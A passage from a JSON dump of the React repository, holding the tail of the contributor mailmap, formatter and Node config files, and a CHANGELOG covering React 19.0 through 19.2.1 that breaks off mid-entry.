<karcz.k@gmail.com>\nKunal Mehta <k.mehta@berkeley.edu> <kunalm@fb.com>\nLaurence Rowe <l@lrowe.co.uk> <laurence@lrowe.co.uk>\nLea Rosema <terabaud@gmail.com>\nMarcin K. <katzoo@github.mail>\nMark Anderson <undernewmanagement@users.noreply.github.com>\nMark Funk <mfunk86@gmail.com> <mark@boomtownroi.com>\nMartin Andert <mandert@gmail.com>\nMathieu M-Gosselin <mathieumg@gmail.com> <mathieumg@atx33.com>\nMatsunoki <himkt@klis.tsukuba.ac.jp>\nMatt Brookes <matt@brookes.net>\nMatt Dunn-Rankin <mdunnrankin@gmail.com> <matchu1993@gmail.com>\nMatt Zabriskie <mzabriskie@gmail.com>\nMatthew Johnston <matthewjohnston4@outlook.com> <matthewjohnston4@users.noreply.github.com>\nMatthew Looi <looi.matthew@gmail.com>\nMattijs Kneppers <mattijs@arttech.nl>\nMax Heiber <max.heiber@gmail.com>\nMax Stoiber <contact@mstoiber.com>\nMichal Srb <xixixao@seznam.cz> xixixao <xixixao@seznam.cz>\nMichelle Todd <himichelletodd@gmail.com> <michelle@khanacademy.org>\nMihai Parparita <mihai.parparita@gmail.com> <mihai@persistent.info>\nMinwe LUO <minwe@yunshipei.com>\nMurray M. Moss <murray@mmoss.name> <MMoss@cainc.com>\nMurray M. Moss <murray@mmoss.name> <mmoss@users.noreply.github.com>\nNeri Marschik <marschik_neri@cyberagent.co.jp>\nNick Gavalas <njg57@cornell.edu>\nNick Thompson <ncthom91@gmail.com> <nickt@instagram.com>\nPatrick Stapleton <github@gdi2290.com>\nPaul O’Shannessy <paul@oshannessy.com> <poshannessy@fb.com>\nPaul Shen <paul@mnml0.com> <paulshen@fb.com>\nPete Hunt <floydophone@gmail.com>\nPete Hunt <floydophone@gmail.com> <pete.hunt@fb.com>\nPete Hunt <floydophone@gmail.com> <pete@instagram.com>\nPete Hunt <floydophone@gmail.com> <phunt@instagram.com>\nPetri Lievonen <plievone@cc.hut.fi>\nPetri Lievonen <plievone@cc.hut.fi> <petri.lievonen@tkk.fi>\nPieter Vanderwerff <me@pieter.io> <pieter@heyday.co.nz>\nPouja Nikray <poujanik@gmail.com>\nRainer Oviir <roviir@gmail.com> <raineroviir@rainers-MacBook-Pro.local>\nRay <ray@tomo.im>\nRichard Feldman <richard.t.feldman@gmail.com> <richard@noredink.com>\nRichard Livesey <Livesey7@hotmail.co.uk>\nRick Hanlon <rickhanlonii@gmail.com>\nRick Hanlon <rickhanlonii@gmail.com> <rickhanlonii@fb.com>\nRob Arnold <robarnold@cs.cmu.edu>\nRobert Binna <rbinna@gmail.com> <speedskater@users.noreply.github.com>\nRobin Frischmann <robin@rofrischmann.de>\nSander Spies <sandermail@gmail.com>\nScott Feeney <scott@oceanbase.org> <smf@fb.com>\nSebastian Markbåge <sebastian@calyptus.eu> <sema@fb.com>\nSergey Rubanov <chi187@gmail.com>\nShogun Sea <shogunsea08@gmail.com> <xxin@groupon.com>\nSoichiro Kawamura <mail@w-st.com>\nSophie Alpert <git@sophiebits.com> <balpert@fb.com>\nSophie Alpert <git@sophiebits.com> <ben@benalpert.com>\nSophie Alpert <git@sophiebits.com> <sophiebits@fb.com>\nSophie Alpert <git@sophiebits.com> <spicyjalapeno@gmail.com>\nSota Ohara <ohrst.18@gmail.com>\nSteven Luscher <react@steveluscher.com> <github@steveluscher.com>\nSteven Luscher <react@steveluscher.com> <steveluscher@fb.com>\nSteven Luscher <react@steveluscher.com> <steveluscher@instagram.com>\nSteven Luscher <react@steveluscher.com> <steveluscher@users.noreply.github.com>\nSeth Webster <sethwebster@gmail.com> <sethwebster@fb.com>\nStoyan Stefanov <ssttoo@ymail.com>\nTengfei Guo <terryr3rd@yeah.net> <tfguo369@gmail.com>\nThomas Aylott <oblivious@subtlegradient.com> <aylott@fb.com>\nTimothy Yung <yungsters@gmail.com> <yungsters@fb.com>\nTomoya Suzuki <tmysz.dev@gmail.com>\nVasiliy Loginevskiy <Yeti.or@gmail.com>\nVasiliy Loginevskiy <Yeti.or@gmail.com> <yeti-or@yandex-team.ru>\nVjeux <vjeuxx@gmail.com>\nVjeux <vjeuxx@gmail.com> <vjeux@fb.com>\nVolkan Unsal <spocksplanet@gmail.com>\nWander Wang <wander.wang@ismole.com>\nXavier Morel <xmo-odoo@users.noreply.github.com>\nYouBao Nong <noyobo@gmail.com> <nongyoubao@alibaba-inc.com>\nYutaka Nakajima <nakazye@gmail.com>\nZach Bruggeman <mail@bruggie.com> <zbruggeman@me.com>\niawia002 <z2d@jifangcheng.com> <850127508@qq.com>\n元彦 <yuanyan@users.noreply.github.com>\n张敏 <cookfront@gmail.com>\n"
  },
  {
    "path": ".nvmrc",
    "content": "v20.19.0\n"
  },
  {
    "path": ".prettierignore",
    "content": "# react runtime\nbuild\n\npackages/react-devtools-core/dist\npackages/react-devtools-extensions/chrome/build\npackages/react-devtools-extensions/firefox/build\npackages/react-devtools-extensions/edge/build\npackages/react-devtools-extensions/shared/build\npackages/react-devtools-extensions/src/ErrorTesterCompiled.js\npackages/react-devtools-fusebox/dist\npackages/react-devtools-inline/dist\npackages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/\npackages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/\npackages/react-devtools-shell/dist\npackages/react-devtools-timeline/dist\npackages/react-devtools-timeline/static\n\n# react compiler\ncompiler/**/dist\ncompiler/**/__tests__/fixtures/**/*.expect.md\ncompiler/**/.next\n\n# contains invalid graphql`...` which results in a promise rejection error from `yarn prettier-all`.\ncompiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js\n\ncompiler/crates\ncompiler/target\ncompiler/apps/playground/public\n\ncompiler/**/LICENSE\ncompiler/*.md*\ncompiler/*.json\ncompiler/*.css\ncompiler/*.webmanifest\ncompiler/*.map\ncompiler/*.sh\ncompiler/*.txt\ncompiler/*.ico\ncompiler/*.svg\ncompiler/*.lock\ncompiler/*.toml\n"
  },
  {
    "path": ".prettierrc.js",
    "content": "'use strict';\n\nconst {esNextPaths} = require('./scripts/shared/pathsByLanguageVersion');\n\nmodule.exports = {\n  bracketSpacing: false,\n  singleQuote: true,\n  bracketSameLine: true,\n  trailingComma: 'es5',\n  printWidth: 80,\n  parser: 'flow',\n  arrowParens: 'avoid',\n  overrides: [\n    {\n      files: ['*.code-workspace'],\n      options: {\n        parser: 'json-stringify',\n      },\n    },\n    {\n      files: esNextPaths,\n      options: {\n        trailingComma: 'all',\n      },\n    },\n    {\n      files: ['*.ts', '*.tsx'],\n      options: {\n        trailingComma: 'all',\n        parser: 'typescript',\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": ".watchmanconfig",
    "content": "{}\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "## 19.2.1 (Dec 3, 2025)\n\n### React Server Components\n\n- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))\n\n## 19.2.0 (October 1st, 2025)\n\nBelow is a list of all new features, APIs, and bug fixes.\n\nRead the [React 19.2 release post](https://react.dev/blog/2025/10/01/react-19-2) for more information.\n\n### New React Features\n\n- [`<Activity>`](https://react.dev/reference/react/Activity): A new API to hide and restore the UI and internal state of its children.\n- [`useEffectEvent`](https://react.dev/reference/react/useEffectEvent) is a React Hook that lets you extract non-reactive logic into an [Effect Event](https://react.dev/learn/separating-events-from-effects#declaring-an-effect-event).\n- [`cacheSignal`](https://react.dev/reference/react/cacheSignal) (for RSCs) lets your know when the `cache()` lifetime is over.\n- [React Performance tracks](https://react.dev/reference/dev-tools/react-performance-tracks) appear on the Performance panel’s timeline in your browser developer tools\n\n### New React DOM Features\n\n- Added resume APIs for partial pre-rendering with Web Streams:\n  - [`resume`](https://react.dev/reference/react-dom/server/resume): to resume a prerender to a stream.\n  - [`resumeAndPrerender`](https://react.dev/reference/react-dom/static/resumeAndPrerender): to resume a prerender to HTML.\n- Added resume APIs for partial pre-rendering with Node Streams:\n  - [`resumeToPipeableStream`](https://react.dev/reference/react-dom/server/resumeToPipeableStream): to resume a prerender to a stream.\n  - [`resumeAndPrerenderToNodeStream`](https://react.dev/reference/react-dom/static/resumeAndPrerenderToNodeStream): to resume a prerender to HTML.\n- Updated [`prerender`](https://react.dev/reference/react-dom/static/prerender) APIs to return a `postponed` state that can be passed to the `resume` APIs.\n\n### Notable changes\n\n- React DOM now batches suspense boundary reveals, matching the behavior of client side rendering. This change is especially noticeable when animating the reveal of Suspense boundaries e.g. with the upcoming `<ViewTransition>` Component. React will batch as much reveals as possible before the first paint while trying to hit popular first-contentful paint metrics.\n- Add Node Web Streams (`prerender`, `renderToReadableStream`) to server-side-rendering APIs for Node.js\n- Use underscore instead of `:` IDs generated by useId\n\n### All Changes\n\n#### React\n\n- `<Activity />` was developed over many years, starting before `ClassComponent.setState` (@acdlite @sebmarkbage and many others)\n- Stringify context as \"SomeContext\" instead of \"SomeContext.Provider\" (@kassens [#33507](https://github.com/facebook/react/pull/33507))\n- Include stack of cause of React instrumentation errors with `%o` placeholder (@eps1lon [#34198](https://github.com/facebook/react/pull/34198))\n- Fix infinite `useDeferredValue` loop in popstate event (@acdlite [#32821](https://github.com/facebook/react/pull/32821))\n- Fix a bug when an initial value was passed to `useDeferredValue` (@acdlite [#34376](https://github.com/facebook/react/pull/34376))\n- Fix a crash when submitting forms with Client Actions (@sebmarkbage [#33055](https://github.com/facebook/react/pull/33055))\n- Hide/unhide the content of dehydrated suspense boundaries if they resuspend (@sebmarkbage [#32900](https://github.com/facebook/react/pull/32900))\n- Avoid stack overflow on wide trees during Hot Reload (@sophiebits [#34145](https://github.com/facebook/react/pull/34145))\n- Improve Owner and Component stacks in various places (@sebmarkbage, @eps1lon: [#33629](https://github.com/facebook/react/pull/33629), [#33724](https://github.com/facebook/react/pull/33724), [#32735](https://github.com/facebook/react/pull/32735), [#33723](https://github.com/facebook/react/pull/33723))\n- Add `cacheSignal` (@sebmarkbage [#33557](https://github.com/facebook/react/pull/33557))\n\n#### React DOM\n\n- Block on Suspensey Fonts during reveal of server-side-rendered content (@sebmarkbage [#33342](https://github.com/facebook/react/pull/33342))\n- Use underscore instead of `:` for IDs generated by `useId` (@sebmarkbage, @eps1lon: [#32001](https://github.com/facebook/react/pull/32001), [https://github.com/facebook/react/pull/33342](https://github.com/facebook/react/pull/33342)[#33099](https://github.com/facebook/react/pull/33099), [#33422](https://github.com/facebook/react/pull/33422))\n- Stop warning when ARIA 1.3 attributes are used (@Abdul-Omira [#34264](https://github.com/facebook/react/pull/34264))\n- Allow `nonce` to be used on hoistable styles (@Andarist [#32461](https://github.com/facebook/react/pull/32461))\n- Warn for using a React owned node as a Container if it also has text content (@sebmarkbage [#32774](https://github.com/facebook/react/pull/32774))\n- s/HTML/text for for error messages if text hydration mismatches (@rickhanlonii [#32763](https://github.com/facebook/react/pull/32763))\n- Fix a bug with `React.use` inside `React.lazy`\\-ed Component (@hi-ogawa [#33941](https://github.com/facebook/react/pull/33941))\n- Enable the `progressiveChunkSize` option for server-side-rendering APIs (@sebmarkbage [#33027](https://github.com/facebook/react/pull/33027))\n- Fix a bug with deeply nested Suspense inside Suspense fallback when server-side-rendering (@gnoff [#33467](https://github.com/facebook/react/pull/33467))\n- Avoid hanging when suspending after aborting while rendering (@gnoff [#34192](https://github.com/facebook/react/pull/34192))\n- Add Node Web Streams to server-side-rendering APIs for Node.js (@sebmarkbage [#33475](https://github.com/facebook/react/pull/33475))\n\n#### React Server Components\n\n- Preload `<img>` and `<link>` using hints before they're rendered (@sebmarkbage [#34604](https://github.com/facebook/react/pull/34604))\n- Log error if production elements are rendered during development (@eps1lon [#34189](https://github.com/facebook/react/pull/34189))\n- Fix a bug when returning a Temporary reference (e.g. a Client Reference) from Server Functions (@sebmarkbage [#34084](https://github.com/facebook/react/pull/34084), @denk0403 [#33761](https://github.com/facebook/react/pull/33761))\n- Pass line/column to `filterStackFrame` (@eps1lon [#33707](https://github.com/facebook/react/pull/33707))\n- Support Async Modules in Turbopack Server References (@lubieowoce [#34531](https://github.com/facebook/react/pull/34531))\n- Add support for .mjs file extension in Webpack (@jennyscript [#33028](https://github.com/facebook/react/pull/33028))\n- Fix a wrong missing key warning (@unstubbable [#34350](https://github.com/facebook/react/pull/34350))\n- Make console log resolve in predictable order (@sebmarkbage [#33665](https://github.com/facebook/react/pull/33665))\n\n#### React Reconciler\n\n- [createContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L255-L261) and [createHydrationContainer](https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiberReconciler.js#L305-L312) had their parameter order adjusted after `on*` handlers to account for upcoming experimental APIs\n\n## 19.1.2 (Dec 3, 2025)\n\n### React Server Components\n\n- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))\n\n## 19.1.1 (July 28, 2025)\n\n### React\n* Fixed Owner Stacks to work with ES2015 function.name semantics ([#33680](https://github.com/facebook/react/pull/33680) by @hoxyq)\n\n## 19.1.0 (March 28, 2025)\n\n### Owner Stack\n\nAn Owner Stack is a string representing the components that are directly responsible for rendering a particular component. You can log Owner Stacks when debugging or use Owner Stacks to enhance error overlays or other development tools. Owner Stacks are only available in development builds. Component Stacks in production are unchanged.\n\n* An Owner Stack is a development-only stack trace that helps identify which components are responsible for rendering a particular component. An Owner Stack is distinct from a Component Stacks, which shows the hierarchy of components leading to an error.\n* The [captureOwnerStack API](https://react.dev/reference/react/captureOwnerStack) is only available in development mode and returns a Owner Stack, if available. The API can be used to enhance error overlays or log component relationships when debugging. [#29923](https://github.com/facebook/react/pull/29923), [#32353](https://github.com/facebook/react/pull/32353), [#30306](https://github.com/facebook/react/pull/30306),\n[#32538](https://github.com/facebook/react/pull/32538), [#32529](https://github.com/facebook/react/pull/32529), [#32538](https://github.com/facebook/react/pull/32538)\n\n### React\n* Enhanced support for Suspense boundaries to be used anywhere, including the client, server, and during hydration. [#32069](https://github.com/facebook/react/pull/32069), [#32163](https://github.com/facebook/react/pull/32163), [#32224](https://github.com/facebook/react/pull/32224), [#32252](https://github.com/facebook/react/pull/32252)\n* Reduced unnecessary client rendering through improved hydration scheduling [#31751](https://github.com/facebook/react/pull/31751)\n* Increased priority of client rendered Suspense boundaries [#31776](https://github.com/facebook/react/pull/31776)\n* Fixed frozen fallback states by rendering unfinished Suspense boundaries on the client. [#31620](https://github.com/facebook/react/pull/31620)\n* Reduced garbage collection pressure by improving Suspense boundary retries. [#31667](https://github.com/facebook/react/pull/31667)\n* Fixed erroneous “Waiting for Paint” log when the passive effect phase was not delayed [#31526](https://github.com/facebook/react/pull/31526)\n* Fixed a regression causing key warnings for flattened positional children in development mode. [#32117](https://github.com/facebook/react/pull/32117)\n* Updated `useId` to use valid CSS selectors, changing format from `:r123:` to `«r123»`. [#32001](https://github.com/facebook/react/pull/32001)\n* Added a dev-only warning for null/undefined created in useEffect, useInsertionEffect, and useLayoutEffect. [#32355](https://github.com/facebook/react/pull/32355)\n* Fixed a bug where dev-only methods were exported in production builds. React.act is no longer available in production builds. [#32200](https://github.com/facebook/react/pull/32200)\n* Improved consistency across prod and dev to improve compatibility with Google Closure Compiler and bindings [#31808](https://github.com/facebook/react/pull/31808)\n* Improve passive effect scheduling for consistent task yielding. [#31785](https://github.com/facebook/react/pull/31785)\n* Fixed asserts in React Native when passChildrenWhenCloningPersistedNodes is enabled for OffscreenComponent rendering. [#32528](https://github.com/facebook/react/pull/32528)\n* Fixed component name resolution for Portal [#32640](https://github.com/facebook/react/pull/32640)\n* Added support for beforetoggle and toggle events on the dialog element. [#32479](https://github.com/facebook/react/pull/32479)\n\n### React DOM\n* Fixed double warning when the `href` attribute is an empty string [#31783](https://github.com/facebook/react/pull/31783)\n * Fixed an edge case where `getHoistableRoot()` didn’t work properly when the container was a Document [#32321](https://github.com/facebook/react/pull/32321)\n* Removed support for using HTML comments (e.g. `<!-- -->`) as a DOM container. [#32250](https://github.com/facebook/react/pull/32250)\n* Added support for `<script>` and `<template>` tags to be nested within `<select>` tags. [#31837](https://github.com/facebook/react/pull/31837)\n* Fixed responsive images to be preloaded as HTML instead of headers [#32445](https://github.com/facebook/react/pull/32445)\n\n### use-sync-external-store\n* Added `exports` field to `package.json` for `use-sync-external-store` to support various entrypoints. [#25231](https://github.com/facebook/react/pull/25231)\n\n### React Server Components\n* Added `unstable_prerender`, a new experimental API for prerendering React Server Components on the server [#31724](https://github.com/facebook/react/pull/31724)\n* Fixed an issue where streams would hang when receiving new chunks after a global error [#31840](https://github.com/facebook/react/pull/31840), [#31851](https://github.com/facebook/react/pull/31851)\n* Fixed an issue where pending chunks were counted twice. [#31833](https://github.com/facebook/react/pull/31833)\n* Added support for streaming in edge environments [#31852](https://github.com/facebook/react/pull/31852)\n* Added support for sending custom error names from a server so that they are available in the client for console replaying. [#32116](https://github.com/facebook/react/pull/32116)\n* Updated the server component wire format to remove IDs for hints and console.log because they have no return value [#31671](https://github.com/facebook/react/pull/31671)\n* Exposed `registerServerReference` in client builds to handle server references in different environments. [#32534](https://github.com/facebook/react/pull/32534)\n* Added react-server-dom-parcel package which integrates Server Components with the [Parcel bundler](https://parceljs.org/) [#31725](https://github.com/facebook/react/pull/31725), [#32132](https://github.com/facebook/react/pull/32132), [#31799](https://github.com/facebook/react/pull/31799), [#32294](https://github.com/facebook/react/pull/32294), [#31741](https://github.com/facebook/react/pull/31741)\n\n## 19.0.1 (Dec 3, 2025)\n\n### React Server Components\n\n- Bring React Server Component fixes to Server Actions (@sebmarkbage [#35277](https://github.com/facebook/react/pull/35277))\n\n## 19.0.0 (December 5, 2024)\n\nBelow is a list of all new features, APIs, deprecations, and breaking changes. Read [React 19 release post](https://react.dev/blog/2024/04/25/react-19) and [React 19 upgrade guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for more information.\n\n> Note: To help make the upgrade to React 19 easier, we’ve published a react@18.3 release that is identical to 18.2 but adds warnings for deprecated APIs and other changes that are needed for React 19. We recommend upgrading to React 18.3.1 first to help identify any issues before upgrading to React 19.\n\n### New Features\n\n#### React\n\n* Actions: `startTransition` can now accept async functions. Functions passed to `startTransition` are called “Actions”. A given Transition can include one or more Actions which update state in the background and update the UI with one commit. In addition to updating state, Actions can now perform side effects including async requests, and the Action will wait for the work to finish before finishing the Transition. This feature allows Transitions to include side effects like `fetch()` in the pending state, and provides support for error handling, and optimistic updates.  \n* `useActionState`: is a new hook to order Actions inside of a Transition with access to the state of the action, and the pending state. It accepts a reducer that can call Actions, and the initial state used for first render. It also accepts an optional string that is used if the action is passed to a form `action` prop to support progressive enhancement in forms.  \n* `useOptimistic`: is a new hook to update state while a Transition is in progress. It returns the state, and a set function that can be called inside a transition to “optimistically” update the state to expected final value immediately while the Transition completes in the background. When the transition finishes, the state is updated to the new value.  \n* `use`: is a new API that allows reading resources in render. In React 19, `use` accepts a promise or Context. If provided a promise, `use` will suspend until a value is resolved. `use` can only be used in render but can be called conditionally.  \n* `ref` as a prop: Refs can now be used as props, removing the need for `forwardRef`.  \n* **Suspense sibling pre-warming**: When a component suspends, React will immediately commit the fallback of the nearest Suspense boundary, without waiting for the entire sibling tree to render. After the fallback commits, React will schedule another render for the suspended siblings to “pre-warm” lazy requests.\n\n#### React DOM Client\n\n* `<form> action` prop: Form Actions allow you to manage forms automatically and integrate with `useFormStatus`. When a `<form> action` succeeds, React will automatically reset the form for uncontrolled components. The form can be reset manually with the new `requestFormReset` API.  \n* `<button> and <input> formAction` prop: Actions can be passed to the `formAction` prop to configure form submission behavior. This allows using different Actions depending on the input.  \n* `useFormStatus`: is a new hook that provides the status of the parent `<form> action`, as if the form was a Context provider. The hook returns the values: `pending`, `data`, `method`, and `action`.  \n* Support for Document Metadata: We’ve added support for rendering document metadata tags in components natively. React will automatically hoist them into the `<head>` section of the document.  \n* Support for Stylesheets: React 19 will ensure stylesheets are inserted into the `<head>` on the client before revealing the content of a Suspense boundary that depends on that stylesheet.  \n* Support for async scripts: Async scripts can be rendered anywhere in the component tree and React will handle ordering and deduplication.  \n* Support for preloading resources: React 19 ships with `preinit`, `preload`, `prefetchDNS`, and `preconnect` APIs to optimize initial page loads by moving discovery of additional resources like fonts out of stylesheet loading. They can also be used to prefetch resources used by an anticipated navigation.\n\n#### React DOM Server\n\n* Added `prerender` and `prerenderToNodeStream` APIs for static site generation. They are designed to work with streaming environments like Node.js Streams and Web Streams. Unlike `renderToString`, they wait for data to load for HTML generation.\n\n#### React Server Components\n\n* RSC features such as directives, server components, and server functions are now stable. This means libraries that ship with Server Components can now target React 19 as a peer dependency with a react-server export condition for use in frameworks that support the Full-stack React Architecture. The underlying APIs used to implement a React Server Components bundler or framework do not follow semver and may break between minors in React 19.x. See [docs](https://19.react.dev/reference/rsc/server-components) for how to support React Server Components.\n\n### Deprecations\n\n* Deprecated: `element.ref` access: React 19 supports ref as a prop, so we’re deprecating `element.ref` in favor of `element.props.ref`. Accessing will result in a warning.  \n* `react-test-renderer`: In React 19, react-test-renderer logs a deprecation warning and has switched to concurrent rendering for web usage. We recommend migrating your tests to  [@testing-library/react](https://testing-library.com/docs/react-testing-library/intro/) or [@testing-library/react-native](https://testing-library.com/docs/react-native-testing-library/intro)\n\n### Breaking Changes\n\nReact 19 brings in a number of breaking changes, including the removals of long-deprecated APIs. We recommend first upgrading to `18.3.1`, where we've added additional deprecation warnings. Check out the [upgrade guide](https://19.react.dev/blog/2024/04/25/react-19-upgrade-guide) for more details and guidance on codemodding.\n\n### React\n\n* New JSX Transform is now required: We introduced [a new JSX transform](https://legacy.reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) in 2020 to improve bundle size and use JSX without importing React. In React 19, we’re adding additional improvements like using ref as a prop and JSX speed improvements that require the new transform.  \n* Errors in render are not re-thrown: Errors that are not caught by an Error Boundary are now reported to window.reportError. Errors that are caught by an Error Boundary are reported to console.error. We’ve introduced `onUncaughtError` and `onCaughtError` methods to `createRoot` and `hydrateRoot` to customize this error handling.  \n* Removed: `propTypes`: Using `propTypes` will now be silently ignored. If required, we recommend migrating to TypeScript or another type-checking solution.  \n* Removed: `defaultProps` for functions: ES6 default parameters can be used in place. Class components continue to support `defaultProps` since there is no ES6 alternative.  \n* Removed: `contextTypes` and `getChildContext`: Legacy Context for class components has been removed in favor of the `contextType` API.  \n* Removed: string refs: Any usage of string refs need to be migrated to ref callbacks.   \n* Removed: Module pattern factories: A rarely used pattern that can be migrated to regular functions.  \n* Removed: `React.createFactory`: Now that JSX is broadly supported, all `createFactory` usage can be migrated to JSX components.  \n* Removed: `react-test-renderer/shallow`: This has been a re-export of [react-shallow-renderer](https://github.com/enzymejs/react-shallow-renderer) since React 18\\. If needed, you can continue to use the third-party package directly. We recommend using [@testing-library/react](https://testing-library.com/docs/react-testing-library/intro/) or [@testing-library/react-native](https://testing-library.com/docs/react-native-testing-library/intro) instead.\n\n#### React DOM\n\n* Removed: `react-dom/test-utils`: We’ve moved `act` from `react-dom/test-utils` to react. All other utilities have been removed.   \n* Removed: `ReactDOM`.`render`, `ReactDOM`.`hydrate`: These have been removed in favor of the concurrent equivalents: `ReactDOM`.`createRoot` and `ReactDOM.hydrateRoot`.  \n* Removed: `unmountComponentAtNode`: Removed in favor of `root.unmount()`.  \n* Removed: `ReactDOM`.`findDOMNode`: You can replace `ReactDOM`.`findDOMNode` with DOM Refs.\n\n### Notable Changes\n\n#### React\n\n* `<Context>` as a provider: You can now render `<Context>` as a provider instead of `<Context.Provider>`.  \n* Cleanup functions for refs: When the component unmounts, React will call the cleanup function returned from the ref callback.  \n* `useDeferredValue` initial value argument: When provided, `useDeferredValue` will return the initial value for the initial render of a component, then schedule a re-render in the background with the `deferredValue` returned.  \n* Support for Custom Elements: React 19 now passes all tests on [Custom Elements Everywhere](https://custom-elements-everywhere.com/).  \n* StrictMode changes: `useMemo` and `useCallback` will now reuse the memoized results from the first render, during the second render. Additionally, StrictMode will now double-invoke ref callback functions on initial mount.  \n* UMD builds removed: To load React 19 with a script tag, we recommend using an ESM-based CDN such as [esm.sh](http://esm.sh).\n\n#### React DOM\n\n* Diffs for hydration errors: In the case of a mismatch, React 19 logs a single error with a diff of the mismatched content.  \n* Compatibility with third-party scripts and extensions: React will now force a client re-render to fix up any mismatched content caused by elements inserted by third-party JS. \n\n### TypeScript Changes\n\nThe most common changes can be codemodded with `npx types-react-codemod@latest preset-19 ./path-to-your-react-ts-files`.\n\n* Removed deprecated TypeScript types:   \n  * `ReactChild` (replacement: `React.ReactElement | number | string)`  \n  * `ReactFragment` (replacement: `Iterable<React.ReactNode>`)  \n  * `ReactNodeArray` (replacement: `ReadonlyArray<React.ReactNode>`)  \n  * `ReactText` (replacement: `number | string`)  \n  * `VoidFunctionComponent` (replacement: `FunctionComponent`)  \n  * `VFC` (replacement: `FC`)  \n  * Moved to `prop-types`: `Requireable`, `ValidationMap`, `Validator`, `WeakValidationMap`  \n  * Moved to `create-react-class`: `ClassicComponentClass`, `ClassicComponent`, `ClassicElement`, `ComponentSpec`, `Mixin`, `ReactChildren`, `ReactHTML`, `ReactSVG`, `SFCFactory`  \n* Disallow implicit return in refs: refs can now accept cleanup functions. When you return something else, we can’t tell if you intentionally returned something not meant to clean up or returned the wrong value. Implicit returns of anything but functions will now error.   \n* Require initial argument to `useRef`: The initial argument is now required to match `useState`, `createContext` etc  \n* Refs are mutable by default: Ref objects returned from `useRef()` are now always mutable instead of sometimes being immutable. This feature was too confusing for users and conflicted with legit cases where refs were managed by React and manually written to.  \n* Strict `ReactElement` typing: The props of React elements now default to `unknown` instead of `any` if the element is typed as `ReactElement`  \n* JSX namespace in TypeScript: The global `JSX` namespace is removed to improve interoperability with other libraries using JSX. Instead, the JSX namespace is available from the React package: `import { JSX } from 'react'`  \n* Better `useReducer` typings: Most `useReducer` usage should not require explicit type arguments.  \n  For example,  \n  ```diff\n  -useReducer<React.Reducer<State, Action>>(reducer)\n  +useReducer(reducer)\n  ```\n  or\n  ```diff\n  -useReducer<React.Reducer<State, Action>>(reducer)\n  +useReducer<State, Action>(reducer)\n  ```\n\n### All Changes\n\n#### React\n\n* Add support for async Actions ([\\#26621](https://github.com/facebook/react/pull/26621), [\\#26726](https://github.com/facebook/react/pull/26726), [\\#28078](https://github.com/facebook/react/pull/28078), [\\#28097](https://github.com/facebook/react/pull/28097), [\\#29226](https://github.com/facebook/react/pull/29226), [\\#29618](https://github.com/facebook/react/pull/29618), [\\#29670](https://github.com/facebook/react/pull/29670), [\\#26716](https://github.com/facebook/react/pull/26716) by [@acdlite](https://github.com/acdlite) and [@sebmarkbage](https://github.com/sebmarkbage))  \n* Add `useActionState()` hook to update state based on the result of a Form Action ([\\#27270](https://github.com/facebook/react/pull/27270), [\\#27278](https://github.com/facebook/react/pull/27278), [\\#27309](https://github.com/facebook/react/pull/27309), [\\#27302](https://github.com/facebook/react/pull/27302), [\\#27307](https://github.com/facebook/react/pull/27307), [\\#27366](https://github.com/facebook/react/pull/27366), [\\#27370](https://github.com/facebook/react/pull/27370), [\\#27321](https://github.com/facebook/react/pull/27321), [\\#27374](https://github.com/facebook/react/pull/27374), [\\#27372](https://github.com/facebook/react/pull/27372), [\\#27397](https://github.com/facebook/react/pull/27397), [\\#27399](https://github.com/facebook/react/pull/27399), [\\#27460](https://github.com/facebook/react/pull/27460), [\\#28557](https://github.com/facebook/react/pull/28557), [\\#27570](https://github.com/facebook/react/pull/27570), [\\#27571](https://github.com/facebook/react/pull/27571), [\\#28631](https://github.com/facebook/react/pull/28631), [\\#28788](https://github.com/facebook/react/pull/28788), [\\#29694](https://github.com/facebook/react/pull/29694), [\\#29695](https://github.com/facebook/react/pull/29695), [\\#29694](https://github.com/facebook/react/pull/29694), [\\#29665](https://github.com/facebook/react/pull/29665), [\\#28232](https://github.com/facebook/react/pull/28232), [\\#28319](https://github.com/facebook/react/pull/28319) by [@acdlite](https://github.com/acdlite), [@eps1lon](https://github.com/eps1lon), and [@rickhanlonii](https://github.com/rickhanlonii))  \n* Add `use()` API to read resources in render ([\\#25084](https://github.com/facebook/react/pull/25084), [\\#25202](https://github.com/facebook/react/pull/25202), [\\#25207](https://github.com/facebook/react/pull/25207), [\\#25214](https://github.com/facebook/react/pull/25214), [\\#25226](https://github.com/facebook/react/pull/25226), [\\#25247](https://github.com/facebook/react/pull/25247), [\\#25539](https://github.com/facebook/react/pull/25539), [\\#25538](https://github.com/facebook/react/pull/25538), [\\#25537](https://github.com/facebook/react/pull/25537), [\\#25543](https://github.com/facebook/react/pull/25543), [\\#25561](https://github.com/facebook/react/pull/25561), [\\#25620](https://github.com/facebook/react/pull/25620), [\\#25615](https://github.com/facebook/react/pull/25615), [\\#25922](https://github.com/facebook/react/pull/25922), [\\#25641](https://github.com/facebook/react/pull/25641), [\\#25634](https://github.com/facebook/react/pull/25634), [\\#26232](https://github.com/facebook/react/pull/26232), [\\#26536](https://github.com/facebook/react/pull/26535), [\\#26739](https://github.com/facebook/react/pull/26739), [\\#28233](https://github.com/facebook/react/pull/28233) by [@acdlite](https://github.com/acdlite), [@MofeiZ](https://github.com/mofeiZ), [@sebmarkbage](https://github.com/sebmarkbage), [@sophiebits](https://github.com/sophiebits), [@eps1lon](https://github.com/eps1lon), and [@hansottowirtz](https://github.com/hansottowirtz))  \n* Add `useOptimistic()` hook to display mutated state optimistically during an async mutation ([\\#26740](https://github.com/facebook/react/pull/26740), [\\#26772](https://github.com/facebook/react/pull/26772), [\\#27277](https://github.com/facebook/react/pull/27277), [\\#27453](https://github.com/facebook/react/pull/27453), [\\#27454](https://github.com/facebook/react/pull/27454), [\\#27936](https://github.com/facebook/react/pull/27936) by 